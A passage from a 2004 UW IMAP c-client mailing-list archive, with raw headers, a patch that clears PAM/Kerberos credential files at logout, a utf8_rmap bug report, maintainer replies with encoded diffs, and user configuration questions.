(8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IDWvGH085118 for ; Sun, 18 Apr 2004 06:32:57 -0700 Received: from pc16.dolda2000.com (1-1-3-7a.rny.sth.bostream.se [82.182.133.20]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IDWst2027126 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 06:32:56 -0700 Received: from pc7.dolda2000.com (pc7.dolda2000.com [192.168.1.254]) by pc16.dolda2000.com (8.12.8/8.12.8) with ESMTP id i3IDWqBS005344 for ; Sun, 18 Apr 2004 15:32:53 +0200 Message-Id: <16514.33669.341481.923582@pc7.dolda2000.com> Date: Sun, 18 Apr 2004 15:32:53 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Fredrik Tolf To: c-client@u.washington.edu Subject: PAM credential cleanup MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="gtEbjpG5z0" Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --gtEbjpG5z0 Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit Hi! I'm using the UW IMAP imapd in my network on a GNU/Linux host, along with Kerberos authentication, and plaintext passwords using PAM and the pam_krb5 module. The pam_krb5 module saves the user's decoded ticket in /tmp upon a call to pam_setcred. However, imapd deliberately doesn't clean up these tickets when the user logs out, which leaves /tmp on the mail server filled up with users' tickets. To remedy this, I patched imapd and ipop3d to fix this, and so I thought I'd send you a patch in case you want it. The problem is that I don't really know much about the portability issues in the UW IMAP suite, so the patch isn't really complete because of that. I would fix it, but I don't know exactly how. Fredrik Tolf --gtEbjpG5z0 Content-Type: text/x-patch Content-Description: PAM credential cleanup patch Content-Disposition: inline; filename="pamcred.diff" Content-Transfer-Encoding: 7bit --- ./src/c-client/env.h~ 2001-11-20 22:56:35.000000000 +0100 +++ ./src/c-client/env.h 2004-04-18 15:11:48.000000000 +0200 @@ -30,6 +30,7 @@ long server_input_wait (long seconds); void server_init (char *server,char *service,char *sasl, void *clkint,void *kodint,void *hupint,void *trmint); long server_login (char *user,char *pass,char *authuser,int argc,char *argv[]); +void server_logout (void); long authserver_login (char *user,char *authuser,int argc,char *argv[]); long anonymous_login (int argc,char *argv[]); char *mylocalhost (void); --- ./src/imapd/imapd.c~ 2003-07-08 05:21:50.000000000 +0200 +++ ./src/imapd/imapd.c 2004-04-18 15:05:19.068400584 +0200 @@ -1163,6 +1163,7 @@ int main (int argc,char *argv[]) } syslog (LOG_INFO,"Logout user=%.80s host=%.80s",user ? user : "???", tcp_clienthost ()); + server_logout(); exit (0); /* all done */ return 0; /* stupid compilers */ } --- ./src/ipopd/ipop3d.c~ 2003-01-17 17:49:31.000000000 +0100 +++ ./src/ipopd/ipop3d.c 2004-04-18 15:05:06.451318672 +0200 @@ -463,6 +463,7 @@ int main (int argc,char *argv[]) tcp_clienthost ()); PSOUT (sayonara); /* "now it's time to say sayonara..." */ PFLUSH (); /* make sure output finished */ + server_logout(); exit (0); /* all done */ return 0; /* stupid compilers */ } --- ./src/osdep/unix/env_unix.c~ 2003-07-15 03:30:00.000000000 +0200 +++ ./src/osdep/unix/env_unix.c 2004-04-18 15:06:34.414946168 +0200 @@ -561,6 +561,11 @@ long server_login (char *user,char *pwd, sleep (3); /* slow down possible cracker */ return NIL; } + +void server_logout (void) +{ + destroy_cred(); +} /* Authenticated server log in * Accepts: user name string --- ./src/osdep/unix/env_unix.h~ 2002-02-23 05:03:45.000000000 +0100 +++ ./src/osdep/unix/env_unix.h 2004-04-18 15:13:01.000000000 +0200 @@ -91,6 +91,7 @@ void grim_pid_reap_status (int pid,int k long safe_write (int fd,char *buf,long nbytes); void *arm_signal (int sig,void *action); struct passwd *checkpw (struct passwd *pw,char *pass,int argc,char *argv[]); +void destroy_cred (void); long loginpw (struct passwd *pw,int argc,char *argv[]); long pw_login (struct passwd *pw,char *auser,char *user,char *home,int argc, char *argv[]); --- ./src/osdep/unix/ckp_pam.c~ 2002-04-30 04:32:27.000000000 +0200 +++ ./src/osdep/unix/ckp_pam.c 2004-04-18 15:08:37.545227520 +0200 @@ -25,6 +25,8 @@ struct checkpw_cred { char *pass; /* password */ }; +static pam_handle_t *hdl = NULL; + /* PAM conversation function * Accepts: number of messages * vector of messages @@ -69,7 +71,6 @@ static int checkpw_conv (int num_msg,con struct passwd *checkpw (struct passwd *pw,char *pass,int argc,char *argv[]) { - pam_handle_t *hdl; struct pam_conv conv; struct checkpw_cred cred; conv.conv = &checkpw_conv; @@ -100,15 +101,14 @@ struct passwd *checkpw (struct passwd *p */ pam_open_session (hdl,NIL); /* make sure account doesn't go inactive */ #endif -#if 0 - /* - * This is also a problem. Apparently doing this breaks access to DFS home - * space (hence the #if 0), but there is a report that not doing it causes - * the credentials to stick around long after the server process is gone. - */ - /* clean up */ - pam_setcred (hdl,PAM_DELETE_CRED); -#endif - pam_end (hdl,PAM_SUCCESS); /* return success */ return pw; } + +void destroy_cred (void) +{ + if(hdl == NULL) + return; + pam_close_session (hdl,NIL); + pam_setcred (hdl,PAM_DELETE_CRED); + pam_end (hdl,PAM_SUCCESS); +} --gtEbjpG5z0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 18 08:45:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Apr 2004 08:45:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IFjxfN021277 for ; Sun, 18 Apr 2004 08:45:59 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IFjv0W006343 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 08:45:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IFj7uu014158; Sun, 18 Apr 2004 08:45:09 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IFhw6Q007822 for ; Sun, 18 Apr 2004 08:43:58 -0700 Received: from larry.webcom.com (larry.webcom.com [192.220.116.41]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IFhv4v021259 for ; Sun, 18 Apr 2004 08:43:57 -0700 Received: from kigal (kigal.webcom.com [192.220.116.57]) by larry.webcom.com (8.11.6/8.9.3) with SMTP id i3IFiZ412100 for ; Sun, 18 Apr 2004 08:44:36 -0700 Received: from [216.207.178.10] by inanna (WebCom SMTP 2.0) with SMTP id 300880411; Sun Apr 18 08:44 PDT 2004 Message-Id: <5.1.1.6.2.20040418113151.06f0fba8@pop.webcom.com> Date: Sun, 18 Apr 2004 11:45:25 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pete Maclean To: c-client@u.washington.edu Subject: imap-2004.RC8 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Sender: aaddict@pop.webcom.com X-Mimeheaders-Plugin-Info: v2.03.00 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __EUDORA_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Following your recommendation on the IMAP mailing list, I have started using the imap-2004 c-client code, in particular to take advantage of the utf8_cstext function. I have found one bug in RC8 that needs some attention. The code concerned is in the utf8_rmap function: case CT_1BYTE: /* 1 byte ASCII + table 0x80-0xff */ for (tab = (unsigned short *) cs->tab,i = 128; i < 256; i++) if (tab[i] != UBOGON) rmap[tab[i]] = (unsigned short) i; break; I believe this should be something like: case CT_1BYTE: /* 1 byte ASCII + table 0x80-0xff */ for (tab = (unsigned short *) cs->tab,i = 0; i < 128; i++) if (tab[i] != UBOGON) rmap[tab[i]] = (unsigned short) (i + 128); break; I also came across something in imap-2002e that I think may be a problem and which is unchanged in RC8. That is that the [location] field of the BODY structure is never garbage collected. Despite the problem, utf8_cstext is a godsend. Thank you so much. Pete Maclean -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 18 09:20:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Apr 2004 09:20:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IGKd57022307 for ; Sun, 18 Apr 2004 09:20:39 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IGKaDv003214 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 09:20:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IGJge3004928; Sun, 18 Apr 2004 09:19:42 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IGIj1U059624 for ; Sun, 18 Apr 2004 09:18:45 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IGIiqT003306 for ; Sun, 18 Apr 2004 09:18:44 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IGIhLu015238; Sun, 18 Apr 2004 09:18:43 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IGIhvX008681; Sun, 18 Apr 2004 09:18:43 -0700 Message-Id: Date: Sun, 18 Apr 2004 09:18:43 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Pete Maclean Cc: c-client@u.washington.edu Subject: Re: imap-2004.RC8 In-Reply-To: <5.1.1.6.2.20040418113151.06f0fba8@pop.webcom.com> References: <5.1.1.6.2.20040418113151.06f0fba8@pop.webcom.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1903376028-1256361813-1082305092=:6754" Content-ID: X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. ---1903376028-1256361813-1082305092=:6754 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; FORMAT=flowed Content-ID: Thank you Pete for reporting these problems and for your nice words! I decided to fix utf8.c in a slightly different (but equivalent) way, and also fixed the body->location cleanup problem too. See attached diffs. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. ---1903376028-1256361813-1082305092=:6754 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="mail.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="mail.diff" KioqIG1haWwuYwkyMDA0LzA0LzA4IDIzOjA1OjA1CTEuNTINCi0tLSBtYWls LmMJMjAwNC8wNC8xOCAxNjoxNjowMw0KKioqKioqKioqKioqKioqDQoqKiog MTAsMTYgKioqKg0KICAgKgkJSW50ZXJuZXQ6IE1SQ0BDQUMuV2FzaGluZ3Rv bi5FRFUNCiAgICoNCiAgICogRGF0ZToJMjIgTm92ZW1iZXIgMTk4OQ0KISAg KiBMYXN0IEVkaXRlZDoJOCBBcHJpbCAyMDA0DQogICAqDQogICAqIFRoZSBJ TUFQIHRvb2xraXQgcHJvdmlkZWQgaW4gdGhpcyBEaXN0cmlidXRpb24gaXMN CiAgICogQ29weXJpZ2h0IDE5ODgtMjAwNCBVbml2ZXJzaXR5IG9mIFdhc2hp bmd0b24uDQotLS0gMTAsMTYgLS0tLQ0KICAgKgkJSW50ZXJuZXQ6IE1SQ0BD QUMuV2FzaGluZ3Rvbi5FRFUNCiAgICoNCiAgICogRGF0ZToJMjIgTm92ZW1i ZXIgMTk4OQ0KISAgKiBMYXN0IEVkaXRlZDoJMTggQXByaWwgMjAwNA0KICAg Kg0KICAgKiBUaGUgSU1BUCB0b29sa2l0IHByb3ZpZGVkIGluIHRoaXMgRGlz dHJpYnV0aW9uIGlzDQogICAqIENvcHlyaWdodCAxOTg4LTIwMDQgVW5pdmVy c2l0eSBvZiBXYXNoaW5ndG9uLg0KKioqKioqKioqKioqKioqDQoqKiogNTUw NCw1NTA5ICoqKioNCi0tLSA1NTA0LDU1MTAgLS0tLQ0KICAgIGlmIChib2R5 LT5kaXNwb3NpdGlvbi5wYXJhbWV0ZXIpDQogICAgICBtYWlsX2ZyZWVfYm9k eV9wYXJhbWV0ZXIgKCZib2R5LT5kaXNwb3NpdGlvbi5wYXJhbWV0ZXIpOw0K ICAgIGlmIChib2R5LT5sYW5ndWFnZSkgbWFpbF9mcmVlX3N0cmluZ2xpc3Qg KCZib2R5LT5sYW5ndWFnZSk7DQorICAgaWYgKGJvZHktPmxvY2F0aW9uKSBm c19naXZlICgodm9pZCAqKikgJmJvZHktPmxvY2F0aW9uKTsNCiAgICBpZiAo Ym9keS0+bWltZS50ZXh0LmRhdGEpIGZzX2dpdmUgKCh2b2lkICoqKSAmYm9k eS0+bWltZS50ZXh0LmRhdGEpOw0KICAgIGlmIChib2R5LT5jb250ZW50cy50 ZXh0LmRhdGEpIGZzX2dpdmUgKCh2b2lkICoqKSAmYm9keS0+Y29udGVudHMu dGV4dC5kYXRhKTsNCiAgICBpZiAoYm9keS0+bWQ1KSBmc19naXZlICgodm9p ZCAqKikgJmJvZHktPm1kNSk7DQo= ---1903376028-1256361813-1082305092=:6754 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="utf8.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="utf8.diff" KioqIHV0ZjguYwkyMDA0LzAzLzE2IDIzOjU2OjAyCTEuMTQNCi0tLSB1dGY4 LmMJMjAwNC8wNC8xOCAxNjoxNjowOA0KKioqKioqKioqKioqKioqDQoqKiog MTAsMTYgKioqKg0KICAgKgkJSW50ZXJuZXQ6IE1SQ0BDQUMuV2FzaGluZ3Rv bi5FRFUNCiAgICoNCiAgICogRGF0ZToJMTEgSnVuZSAxOTk3DQohICAqIExh c3QgRWRpdGVkOgkxNSBNYXJjaCAyMDA0DQogICAqIA0KICAgKiBUaGUgSU1B UCB0b29sa2l0IHByb3ZpZGVkIGluIHRoaXMgRGlzdHJpYnV0aW9uIGlzDQog ICAqIENvcHlyaWdodCAxOTg4LTIwMDQgVW5pdmVyc2l0eSBvZiBXYXNoaW5n dG9uLg0KLS0tIDEwLDE2IC0tLS0NCiAgICoJCUludGVybmV0OiBNUkNAQ0FD Lldhc2hpbmd0b24uRURVDQogICAqDQogICAqIERhdGU6CTExIEp1bmUgMTk5 Nw0KISAgKiBMYXN0IEVkaXRlZDoJMTggQXByaWwgMjAwNA0KICAgKiANCiAg ICogVGhlIElNQVAgdG9vbGtpdCBwcm92aWRlZCBpbiB0aGlzIERpc3RyaWJ1 dGlvbiBpcw0KICAgKiBDb3B5cmlnaHQgMTk4OC0yMDA0IFVuaXZlcnNpdHkg b2YgV2FzaGluZ3Rvbi4NCioqKioqKioqKioqKioqKg0KKioqIDM3NiwzODIg KioqKg0KICAgICAgICBicmVhazsNCiAgICAgIGNhc2UgQ1RfMUJZVEU6CQkv KiAxIGJ5dGUgQVNDSUkgKyB0YWJsZSAweDgwLTB4ZmYgKi8NCiAgICAgICAg Zm9yICh0YWIgPSAodW5zaWduZWQgc2hvcnQgKikgY3MtPnRhYixpID0gMTI4 OyBpIDwgMjU2OyBpKyspDQohIAlpZiAodGFiW2ldICE9IFVCT0dPTikgcm1h cFt0YWJbaV1dID0gKHVuc2lnbmVkIHNob3J0KSBpOw0KICAgICAgICBicmVh azsNCiAgICAgIGNhc2UgQ1RfMUJZVEU4OgkJLyogMSBieXRlIHRhYmxlIDB4 MDAgLSAweGZmICovDQogICAgICAgIGZvciAodGFiID0gKHVuc2lnbmVkIHNo b3J0ICopIGNzLT50YWIsaSA9IDA7IGkgPCAyNTY7IGkrKykNCi0tLSAzNzYs MzgzIC0tLS0NCiAgICAgICAgYnJlYWs7DQogICAgICBjYXNlIENUXzFCWVRF OgkJLyogMSBieXRlIEFTQ0lJICsgdGFibGUgMHg4MC0weGZmICovDQogICAg ICAgIGZvciAodGFiID0gKHVuc2lnbmVkIHNob3J0ICopIGNzLT50YWIsaSA9 IDEyODsgaSA8IDI1NjsgaSsrKQ0KISAJaWYgKHRhYltpICYgQklUUzddICE9 IFVCT0dPTikgcm1hcFt0YWJbaSAmIEJJVFM3XV0gPQ0KISAJICAodW5zaWdu ZWQgc2hvcnQpIGk7DQogICAgICAgIGJyZWFrOw0KICAgICAgY2FzZSBDVF8x QllURTg6CQkvKiAxIGJ5dGUgdGFibGUgMHgwMCAtIDB4ZmYgKi8NCiAgICAg ICAgZm9yICh0YWIgPSAodW5zaWduZWQgc2hvcnQgKikgY3MtPnRhYixpID0g MDsgaSA8IDI1NjsgaSsrKQ0K ---1903376028-1256361813-1082305092=:6754-- From pinedev@shivax2.cac.washington.edu Sun Apr 18 13:35:58 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Apr 2004 13:35:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKZwqt031064 for ; Sun, 18 Apr 2004 13:35:58 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKZvCS015378 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 13:35:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IKXeWG004874; Sun, 18 Apr 2004 13:33:41 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKWSwT042326 for ; Sun, 18 Apr 2004 13:32:28 -0700 Received: from web25206.mail.ukl.yahoo.com (web25206.mail.ukl.yahoo.com [217.12.10.66]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IKWPdt014004 for ; Sun, 18 Apr 2004 13:32:25 -0700 Received: from [213.36.190.202] by web25206.mail.ukl.yahoo.com via HTTP; Sun, 18 Apr 2004 22:32:24 CEST Message-Id: <20040418203224.50946.qmail@web25206.mail.ukl.yahoo.com> Date: Sun, 18 Apr 2004 22:32:24 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?iso-8859-1?q?Kraan=20Deufe?= To: c-client@u.washington.edu Subject: configuring 2002d uw imapd to point to an other home dir MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Uwash-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MSGID_BEFORE_OKAY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > hi, > > after encountering problem with courier imap, i've > been looking for a good imap server. > > since cyrus imap wasn't exactly what i was looking > for, i've decided to try uw imapd. > > but, i've got some problems since i've never did big > 'nd nice C programs, and i've got problems to modify > env_init () in env_unix.c > > here what i want to do : > > i've got some mail users with (or without ?) home > directories in /home/$username > > i want the user inbox to be in something like > > /export/home/mail/$username/Inbox > > and the mail home dir to be > > /export/home/mail/$username/ > > > > the inbox modification is well documented in CONFIG, > but the home dir is quite hard to change.... > > i've found some tips on http://carumba.com/imap/ > but it does not do the trick, since the code given > is > for a really old version of uw imapd...... > > so i've finally come here to ask the pros ;)= > > so please, help me : > > how can i make uw-imapd to use > > /export/home/mail/$username as home directory. > > > Thanx for help > > Kraan Deufe Yahoo! Mail : votre e-mail personnel et gratuit qui vous suit partout ! Créez votre Yahoo! Mail sur http://fr.benefits.yahoo.com/ Dialoguez en direct avec vos amis grâce à Yahoo! Messenger !Téléchargez Yahoo! Messenger sur http://fr.messenger.yahoo.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 18 13:45:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Apr 2004 13:45:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKjJnc031345 for ; Sun, 18 Apr 2004 13:45:19 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKjH4k011025 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 13:45:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IKiLxG013942; Sun, 18 Apr 2004 13:44:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKhdKN015012 for ; Sun, 18 Apr 2004 13:43:39 -0700 Received: from goofy.effenberger.org (goofy.effenberger.org [217.11.51.18]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IKhbOH006363 for ; Sun, 18 Apr 2004 13:43:38 -0700 Received: from floeff1 (pD95DA45B.dip.t-dialin.net [217.93.164.91]) by goofy.effenberger.org (SMTP) with ESMTP id ECDE325C025 for ; Sun, 18 Apr 2004 22:43:33 +0200 (CEST) Message-Id: <000701c42585$cf8fc380$0500a8c0@effenberger> Date: Sun, 18 Apr 2004 22:43:18 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Florian Effenberger" To: Subject: UW-IMAPD announcement list MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, is there any UW-IMAPD announcement list out there where you get notified of new releases? Thanks Florian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 18 14:03:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Apr 2004 14:03:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IL3W1Q031848 for ; Sun, 18 Apr 2004 14:03:32 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IL3UdZ016249 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 18 Apr 2004 14:03:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i3IL2bmQ003658; Sun, 18 Apr 2004 14:02:37 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IL1qEw041542 for ; Sun, 18 Apr 2004 14:01:52 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IL1prE008262 for ; Sun, 18 Apr 2004 14:01:51 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IL1orF022287; Sun, 18 Apr 2004 14:01:50 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i3IL1ooO015230; Sun, 18 Apr 2004 14:01:50 -0700 Message-Id: Date: Sun, 18 Apr 2004 14:01:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Florian Effenberger Cc: c-client@u.washington.edu Subject: Re: UW-IMAPD announcement list In-Reply-To: <000701c42585$cf8fc380$0500a8c0@effenberger> References: <000701c42585$cf8fc380$0500a8c0@effenberger> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 18 Apr 2004, Florian Effenberger wrote: > is there any UW-IMAPD announcement list out there where you get notified of > new releases? Not specifically. Typically, new releases of the UW IMAP toolkit are simultaneous with new releases of Pine, although development snapshots are made available for the benefit of people who want to drive in the fast lane. So, if you are on the pine announcements list, you are effectively getting announcements of new IMAP toolkit versions. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Apr 19 01:42:03 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Apr 2004 01:42:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu 